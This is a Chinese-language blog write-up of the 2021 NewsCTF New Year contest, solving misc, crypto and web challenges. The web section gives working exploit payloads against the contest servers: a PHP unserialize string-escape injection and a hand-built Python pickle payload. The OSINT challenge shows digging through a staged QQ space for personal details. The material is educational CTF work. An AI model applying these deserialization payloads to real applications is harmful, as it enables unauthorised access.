CTF | 2021 NewsCTF 新春赛 WriteUp


引言

NewsCTF 2021 新春赛

看群里师傅说这几天有个新春小比赛,做出题目还送红包,顺手就来看看了。

题目据说是小师傅们自己出的,也是自己组织的,开心就好。

平台地址:http://newsctf.top:8000/

start: 2021/2/8 12:00

end: 2021/2/11 12:00

因为比较菜,出题人基本都是大一萌新,所以某些方向题目比较少请见谅

大一萌新太强了!

Misc

misc签到处

图片结尾有个压缩包,里面 base64 解密一下就好

welcome

ZmxhZ3tXZWxjMG1lX3QwX25ld3NjdGYhISF9CuaUr+S7mOWuneWPo+S7pFvmrKLov47mnaXliLDokIzmlrDnvqTotZtd

flag{Welc0me_t0_newsctf!!!}
支付宝口令[欢迎来到萌新群赛]

happy ox

这次我们邀请到了牛爷爷来给大家拜个年 (共10包)

很明显 LSB 有隐写,提取一下。

lsb

lsb

得到压缩包密码 niuniandaji888

word

科比密码

科比密码

又因为是小写,得到 passwdiskbyydsez,即 kbyydsez

flag{0h_y0u_f1nd_Me_h3ck}
支付宝口令[牛年行大运愿岁月安好]

EMOJI

EMOJI(笑) 得到的flag中数字的中文为支付宝口令红包,禁止一人多包或分享。 如flag{t3st_123_1t} 则口令红包为:三一二三一

还是改文件头。。

改文件头

图片1

查了一下,这是 《长安12时辰》的望楼系统,太强了!

9宫格的空间,用来表示个位。

个位

左边的4个花瓣位,用来表示十位。

十位

右边的4个花瓣位,用来表示百位。

百位

什么都不出现,就表示0。

Via 研究完《长安12时辰》的望楼系统,我魔怔了

于是就是

799*248+21 即 198173,一九八一七三

解压得到

key:sixgod
ciphertext:🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅🍌✅🚨📂📮🕹🎅🥋🌉😍🚪🤣🐅👑☂😀🦓⏩😍🌏🎅🌿🐘💵🍵☀✉🍍🌪🚫💵🍍🏎👣💵🔪🍌✉🐘😂🚨☂📮🔪💵🏹👉🐎🔬🌪🍎ℹ😊🚨😂🍵🍵😊🚨🔪✖🎈☺🦓🚰☃🌏🚪👣🍍✉👌🔄✉💧🗒🗒

先看了看 Codemoji,不对劲。

然后查了一下,发现了个带 key 的。

emoji-aes 解密 https://aghorler.github.io/emoji-aes/

emoji-aes encrypts string data with the symmetric AES encryption cipher (using crypto-js), and then replaces the Base64 output with emojis.

咱自己也部署了一个,在这里 ==> https://emoji-aes.miaotony.xyz/

flag{em0j1_Aes_1s_3_ni5e_3ncr9pt_to0l}

伪装者

https://wws.lanzous.com/ihGAlldzfmb 支付宝红包口令是flag{}里面的内容,如果有两个今晚吃鸡请删掉一个。 flag格式:flag{}

伪装者.rar

和正常的 rar 对比可以看到文件头改掉了

改回 rar 就好。

背景.txt:

小林 正在追一部剧,但是他忘了剧名中一位角色的名字,于是他截了个图(好看的剧.png),开始了询问环节.


-----你能帮小林认出这是谁嘛




注:角色名字(中文拼音)是压缩包的密码

百度识图一下

百度识图

liuyijun 不对,要角色名字(中文拼音)

《伪装者》

草,就是题目名称……

wangtianfeng

解压得到

niu

key.wav 文件结尾,貌似没啥用。

音频有一段 DTMF

DTMF

截取这部分音频,然后提取一下。

结合频谱图再修正一下。

#222833344477773338866#

九键键盘密码(草,是 GKCTF2020 的音频

ctfisfun

steghide 解密

$ steghide.exe extract -sf niu.jpg -p ctfisfun
wrote extracted data to "flag.txt".
flag不在这里哦继续往下找吧

......

熊曰:呋食很誒咯噔破啽住有歡嗚註嗄和你吃冬註物物眠嗚笨嘍擊笨噤襲你爾咬你爾常破很歡我吖拙歡意擊咯堅有嗷嗥哞怎發唬肉既歡沒破噤咯人和嘶啽更

与熊论道

然后去掉一个 今晚吃鸡

flag{牛年大吉今晚吃鸡小年快乐happy}

听说你喜欢薅羊毛

附件地址:https://wwa.lanzous.com/iNdm7lfooaj

羊毛.jpg 结尾

羊毛

Bacon Cipher 培根

PASSWORDISTINGSHUONIXIHUANYANGMAO

然而用这个去解压缩包怎么都解不开。。

后来发现图片还有加密……

JPHS tingshuonixihuanyangmao

得到 Wdn1His87,解压得到 brainpower.txtflag.zip

brainpower.txt 文件头 ID3,遂改后缀名为 mp3.

看一下频谱,对数坐标好看一点。

频谱

PsWdMuzi123

解压 flag.zip

9DFF7800FFFE8784010580C646A85C22A7B3E321C04020B193D9BCE00DAEC7CD8953E8B982
//......巨大多
0606080003400BDFF000006000600101010000000A0A1A0D074E40598

看末尾,逆序过来就是 89504E,PNG 好耶。

然后 hex 解一下,但是打开报错。

再看一下,又是改了文件头……应该是 jpg 图片。

文件头

改

然后得到二维码

扫码得到

flag{s0_easy_is_not_it?}
支付宝[三三六六五八九九]

(巨套娃了

缺斤少两

两张二维码

谐音梗,扣钱!

扫码得到

大牛:我也很疑惑呢

password

发现是不全的。

两张图异或一下,然后再反个色,再补上四个识别框。

xor

扫码得到解压密码。

password:1q2w3e4r5t6y7u8i

解压得到两张图

喵呜

passwd

结合 hint

密码是靠猜的,不是爆破!
是guess不是猜

用 outguess 解密

outguess

得到密码 news52ctf0

Polybius.txt:

cipher:iftffsissrssirissr


hint1:\u660e\u6587\u957f\u5ea6\u662f\u0038\uff0c\u4f1a\u4e0b\u68cb\u5417\uff1f
hint2:Zmlyc3Q/LGxlbihmaXJzdCk9NQ==

得到的有意义字符串,作为压缩包密码,才能进入下一层。

hint1: 明文长度是9,会下棋吗?//题目更正为9

hint2: first?,len(first)=5

波利比奥斯方阵密码

网上找了个脚本改改跑一下。

import itertools
s = "first"
sumresult = []
numsumresult = []
ciper = "iftffsissrssirissr"
for i in itertools.permutations(s, 5):  # 找出所有全排列
    sumresult.append("".join(i))
for i in sumresult:
    temp = ""
    for j in ciper:
        temp += str(i.index(j)+1)
    numsumresult.append(temp)
for i in numsumresult:
    ans_ = ""
    for j in range(0, len(i), 2):
        xx = (int(i[j])-1)*5+int(i[j+1])+96
        if xx > ord('i'):
            xx += 1
        ans_ += chr(xx)
    print(ans_)

密码就这个了。

解压得到 flag.txt

密文:mtHVnkLnIaP3FaW7KOWjTmKkVjWjVzKjdeNvTnAjoH9iZOIvTeHbvD==

dic=JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs????kxyz012789+/

恭喜来到最后一层,你知道base64?,那么解一下吧,得到flag就可以提交了呀。
flag:NEWCTF2021{}

魔改的 base64,alphabet 差了 4 位,包括 34ju 这四个字符。

手动试了试,应该是

JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs34ujkxyz012789+/

NEWSCTF2021{base64_1s_v3ry_e@sy_and_fuN}

哥哥的秘密

有 社工 / OSINT 题唉!

据说哥哥的秘密藏在了妹妹的QQ空间里
QQ:2492853776
去寻找flag吧

///勿在评论区泄露或提供解题思路,否则将关闭评论功能。题目中涉及到的人名,生日均为虚构,涉及到的地名,公司等均是随机挑选的,请勿对题目中出现的手机号进行骚扰,出题人概不承担责任///

感谢节奏大师带我入坑音游,虽然几年没玩了
但是现在依旧回归啦!
屁股肉(phigros)会记住你的img
还有bang dream

玩到了那么久,累死了。
今天还学到个东西
⠀⡘⠀⡙⠀⡞⠀⡄⣿⠪⡛⣶⡸⠱⠀⠍⡥⣆⡗⠀⡎⢊==

盲文解密

hint:密码=时地人

今天哥哥给了个旗帜叫我保管好
那我还是放别的地方吧
怕忘了还是存一下相册

哇哈哈哈哈佳佳今天连着5个运气王
果然我刘某人名不虚传

==> 刘佳佳

1月14日 22:05

今天终于放假啦!吃火锅敲开心的!

2020年12月31日 00:00

马上放假啦!!!!!!
晚上看电影

注意
细节~

2020年12月25日 22:22

三个节日连着过 好快落 明天就第二个十年啦

2020年12月22日 23:33

今天学校的事也好多-n-
希望过几天可以吃顿好的(*≧▽≦)ノシ))

四川绵阳

结合评论

==> birthday: 20001226

顺便,一直有 2931479782 这个QQ点赞和评论。他有条说说

hint:弱口令 地区字母,名字字母(¯ㅿ¯;)生日 不同形式都试试

相册:

sU*f4#OY/6+ghE 不懂

再回到妹妹的相册,第三个相册,根据提示

2+3+8 密码为

lsljj20001226

得到一张二维码。

扫码得到

My MicroBlog name:啊这ovo001

去微博找找。

有 Nano 唉(x

2598888 乐山 => 尚纬股份

解得妹妹的第一个相册密码(哥哥的公司)

得到两张图

[email protected]

那看第一张图好了。

发现原图结尾隐写了个 zip

以下是题目描述:
噢,我的老兄,很抱歉看了你的照片,这感觉真是太糟了。我是说,虽然隔了这么久,我还是忍不住想用沉默之眼来寻查这之中的秘密。我想你可能对我们的靴子朋友或者屁股老弟有什么偏见,就像我们都以为约翰尼先生总打他的狗,但是事实不是那样的,他们就像兄弟一样,我亲眼所见,我发誓。

------------------------------------------------
题目1:(题目1和题目2都可以得到flag相册密码,自由抉择选择哪条)
找到密码,将密码发送给指定的邮箱,即可获得flag,快来挑战吧!
(密码必须写在主题上而不是内容上)

星星的夜.png 隐写

另一张带有邮箱的图也隐写有 zip。

倒数第2步.txt

题目2:(题目1和题目2都可以得到flag相册密码,自由抉择选择哪条)

本次题目考验收集能力
也要考查搜索能力
一起来快乐的回答问题吧!
(将所有答案的首字母大写连在一起即是答案)请注意是大写大写大写大写大写大写大写大写
答案都是英文字母
例如题目描述:瞌睡乔是指----答:Joseph Robinette Biden, Jr(Joe Biden)。首字母是J

1.打5把csgo出自
2.现任美国中央情报局局长是(出题时间2021年2月1日)
3.“是男人就下一百层”被一位UP主找到正确的版本并且更正了百度词条上的错误信息,请问他更正的词条的版本哈希值是多少?
4.IAU在1928国际天文会议中认定的新的星座的拉丁学名是?
5.https://www.bilibili.com/网站ip地址为110/120.xx.xx.xx的运营商的官网是?
  1. G(《Goyang Ubur Ubur》,印尼宽带广告的背景音乐的歌词空耳,歌词原文应为 Takupaz Dance Crew,塔库帕兹舞蹈队

  2. W(William Joseph Burns,(问了出题人说是这个。。)详见 Director of the Central Intelligence Agency

    David S. Cohen,20210120 宣誓就职,注意到很多地方甚至中文维基百科都没更新,详情 https://www.cia.gov/about/

  3. F(f2549bf9e2c93acbb794041185c26fc0. 考虑到2.1之前,且答案都是英文字母,是 UP 主

    (哈希值就 A-F 嘛

  4. O(Ophiuchus,蛇夫座

  5. K(金山云,www.ksyun.com,用 ping 工具看了看,小破站的服务商真多

GWFOK

然后发邮件给那个邮箱。

这里我还以为直接就是相册密码了呢,去爆破了空间相册(x

然后验证码确认点不动,于是看了看QQ空间相册的代码,好丑啊。

恭喜你!这是相册“旗帜”的密码(只套了简单的4层):

23khUrNeAf1igP4PixgoUUDQLaRGGfEpPsFEd9CCKaUWfwYmG4ZmCwFVEkNNwtijxVcn6a6XkwC1ctqMLAax4aGK

又是 base 全家桶

得到相册密码 youfindme!

拿到 flag

flag{th1s_1s_A_Fla9_aNd_n0bod9_C3n_f1nd_1t}

Crypto

贝斯家族

;gM&7AOTKl:236b;HHIm='%8*=''2q;FX]*<,5Z\>'a(\<*)(o:2<mE;DL+19egH[A2@7[A28+B;L2)3;-,Jc<EDpe@kpeS=]Ipp@5)e@;FN<1@VeM3=tj,I=u'8;;FXDT@;BL0@o[bo=]\dGA2?f'<CL(F@k`.CASl6l:[email protected]>&6JY@mipjA4Tls;/:D4=]I2%@PTof<*)gK;eo9(@VeIr

base85

SzJSeERNNjFBRWJXWW5zWWl5RFVoTkZvZzRiTW9iNkViR25VM1lOd3VLd2poRzNLQW1hUWNIc2NNYUFZa0tnRE1GblFRZ0ZCZ2Z3RFNLakg0cUxrYWZpd3IzUEZ0c0xkemlaNjF6bmVqZlA0cDJWdHZKQkx3YU1yb28xTWN0SkRKblE=

base64

K2RxDM61AEbWYnsYiyDUhNFog4bMob6EbGnU3YNwuKwjhG3KAmaQcHscMaAYkKgDMFnQQgFBgfwDSKjH4qLkafiwr3PFtsLdziZ61znejfP4p2VtvJBLwaMroo1MctJDJnQ

base32

仅限第一天,支付宝口令[大吉大利萌新吃鸡]

Base 家族:

主要有 100, 94, 92, 91, 85, 64, 62, 58, 56, 52, 36, 32, 16 大概这些吧。

部分 alphabet:

BASE16 = 0123456789ABCDEF
BASE32 = ABCDEFGHIJKLMNOPQRSTUVWXYZ234567
BASE36 = 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
BASE52 = 0123456789BCDFGHJKLMNPQRSTVWXYZbcdfghjklmnpqrstvwxyz
BASE56 = 23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz
BASE58 = 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz
BASE62 = 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
BASE64 = ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
BASE85 = 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~
BASE91 = ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,./:;<=>?@[]^_`{|}~"
BASE94 = !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

Python3 base85 中分为 base64.a85encode 和 base64.b85encode,a是 Ascii85,b是 IPv6(RFC1924)。

  1. ASCII85 encoding. This is the default. 0x00000000 is compressed to z. Spaces are not compressed.

  2. Adobe ASCII85 encoding is same as previous except data is enclosed between <~ and ~> .

  3. ZeroMQ (Z85) encoding. NOTE! Even though specification says input length must be divisible by 4, this is not currently enforced. Spaces and zeroes are not compressed.

  4. Character set from RFC1924 which is an April fools joke. Spaces and zeroes are not compressed.

好日子

好日子,11月11日

↗↗←↖↕↖↕↳↗↰↗↺↖→↔↰↕↙↕↺↔↰↖↗↔↖↔↑↔→←↑↖↓↗↓←↔↔↗←↘↕↖←↕↕↻↗↰↕↓↖←↗↲↗↑↗↱↗↘↕↔↕↻←↓↔↘↗↕↕↔↖↑↖↖↗↔↗↲↔↙↗↗↗↗↔↔↕↰↔↔↕↰↖↰↔↔↗→↕↔↗↕↖→↕↖↕↓↖←↗↰↔↑↗↖↕↻←↕↕↕←↖↗↘↔↔↕↔↖→↔↰←↔↖↖↖↘↕↱←↑↔↰↔↗↕↘↕↺←→↗↖↗↲←↙=

箭头加密

G6fmJNRzinzWvqr1SC4w8f5oJcPLAKHdo3xEdQVDLyGGtjtjZtBdERfcPJqFo5e6HtdRz4VXk1zwhn2FL9

base58

U2FsdGVkX19oI1ocbbcM5wensOuKarNA3noE/HS74RNYqh0stoMpQohkLGqF

再 base64 可以发现开头是 Salted__,加盐加密了。

Rabbit 解密

klv,oclz{mkd_slp_vb_zjjs_slp}

懒了,直接去 quipquip 跑了。

flag{the_day_is_good_day}

Web

girlfriend

签到题

<?php
include ('flag.php');
error_reporting(0);
function filter($payload){
    $key = array('php','flag','boyfriend');
    $filter = '/'.implode('|',$key).'/i';
    return preg_replace($filter,'hack!!!!',$payload);
}

$payload=$_GET['payload'];
$GDUT['A&D']='666';
$GDUT['Hed9eh0g']='no_girlfriend';

if(isset($payload)) {
    if (strpos($payload, 'php')===false  && strpos($payload, 'flag')===false && strpos($payload, 'boyfriend')===false) {
        echo 'fuck_no_key!!!';
    }else{
        $GDUT['A&D']=$payload;
        $GDUT=unserialize(filter(serialize($GDUT)));
        if ($GDUT['Hed9eh0g'] === 'has_girlfriend') {
            echo $flag;
        } else {
            echo 'fuck_no_girlfriend!!!';
        }
    }
}else{
    highlight_file(__FILE__);
} 

PHP 反序列化漏洞

先本地试了试,payload 为 flagmiaotony 得到的序列化对象

";s:8:"Hed9eh0g";s:14:"has_girlfriend";} 长度为40,用 10个 flag 滤掉就好了。

Payload:

flagflagflagflagflagflagflagflagflagflag";s:8:"Hed9eh0g";s:14:"has_girlfriend";}

http://47.106.172.29:2333/?payload=flagflagflagflagflagflagflagflagflagflag%22;s:8:%22Hed9eh0g%22;s:14:%22has_girlfriend%22;}

newsctf{i_Lov3_nEws4tF_wEb}

beautifulgirlfriend

http://47.106.172.29:8081

访问 /source 得到源码

import base64
import pickle
from flask import Flask, Response, request, render_template
import Hed9eh0g_girlfriend

app = Flask(__name__)

class girl:
    def __init__(self, name, age):
        self.name = name
        self.age = age

@app.route('/', methods=["GET"])
def hello():
    return render_template('index.html')

@app.route('/guess', methods=['GET'])
def index():
    if request.method == 'GET':
        try:
            pickle_data = request.args.get('payload')
            print(pickle_data)
            she = pickle.loads(base64.b64decode(pickle_data))
            if she.name == Hed9eh0g_girlfriend.name and she.age == Hed9eh0g_girlfriend.age:
                return Hed9eh0g_girlfriend.flag
        except Exception as e:
            print(repr(e))
            return "Something wrong"

def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()

@app.route('/source', methods=['GET'])
def show_source():
    return Response(read(__file__), mimetype='text/plain')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8081)

又是 pickle 反序列化啦。

参考 XCTF高校战“疫”网络安全分享赛 WriteUp——webtmp 一题

这题需要反序列化之后的 name 和 age 与引入的相同,但不能把 Hed9eh0g_girlfriend.flag 给覆盖掉,所以不能采用 自己造一个 Hed9eh0g_girlfriend 的思路。

而是应该在构造 girl 对象实例化的时候引入 Hed9eh0g_girlfriend.nameHed9eh0g_girlfriend.age

又是手搓 pickle 了

s = b'\x80\x03c__main__\ngirl\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03cHed9eh0g_girlfriend\nname\nq\x04X\x03\x00\x00\x00ageq\x05cHed9eh0g_girlfriend\nage\nq\x06ub.'
pickletools.dis(s)
base64.b64encode(s)
# gANjX19tYWluX18KZ2lybApxACmBcQF9cQIoWAQAAABuYW1lcQNjSGVkOWVoMGdfZ2lybGZyaWVuZApuYW1lCnEEWAMAAABhZ2VxBWNIZWQ5ZWgwZ19naXJsZnJpZW5kCmFnZQpxBnViLg==

dis 看一下

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ girl'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: (    MARK
   27: X        BINUNICODE 'name'
   36: q        BINPUT     3
   38: c        GLOBAL     'Hed9eh0g_girlfriend name'
   64: q        BINPUT     4
   66: X        BINUNICODE 'age'
   74: q        BINPUT     5
   76: c        GLOBAL     'Hed9eh0g_girlfriend age'
  101: q        BINPUT     6
  103: u        SETITEMS   (MARK at 26)
  104: b    BUILD
  105: .    STOP
highest protocol among opcodes = 2

然后 /guess?payload=xxxxx 打过去就好了。

newsctf{girlfriend?nothing!!!Affect_sword_speed}

其实这题打法应该挺多的,反弹 shell 应该也行,但不知道为啥没打通(?)

EZ套娃

bugku web41 附链接:https://ctf.bugku.com/challenges/detail/id/183.html

 <?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;
    public function __construct($hint){
        $this->hint = $hint;
    }
    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

怎么又是反序列化……

(待续

小结

Misc AK 了!

好家伙,快打 FW_Mumuzi 师傅,出题老套娃了!

Web 怎么全是反序列化,有毒

BTW,这个 OSINT 题确实挺好玩(

本文有关内容仅供学习研究,请在合理合法范围内使用!


牛年就要来了呀!

除夕快乐,新年快乐喵~

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录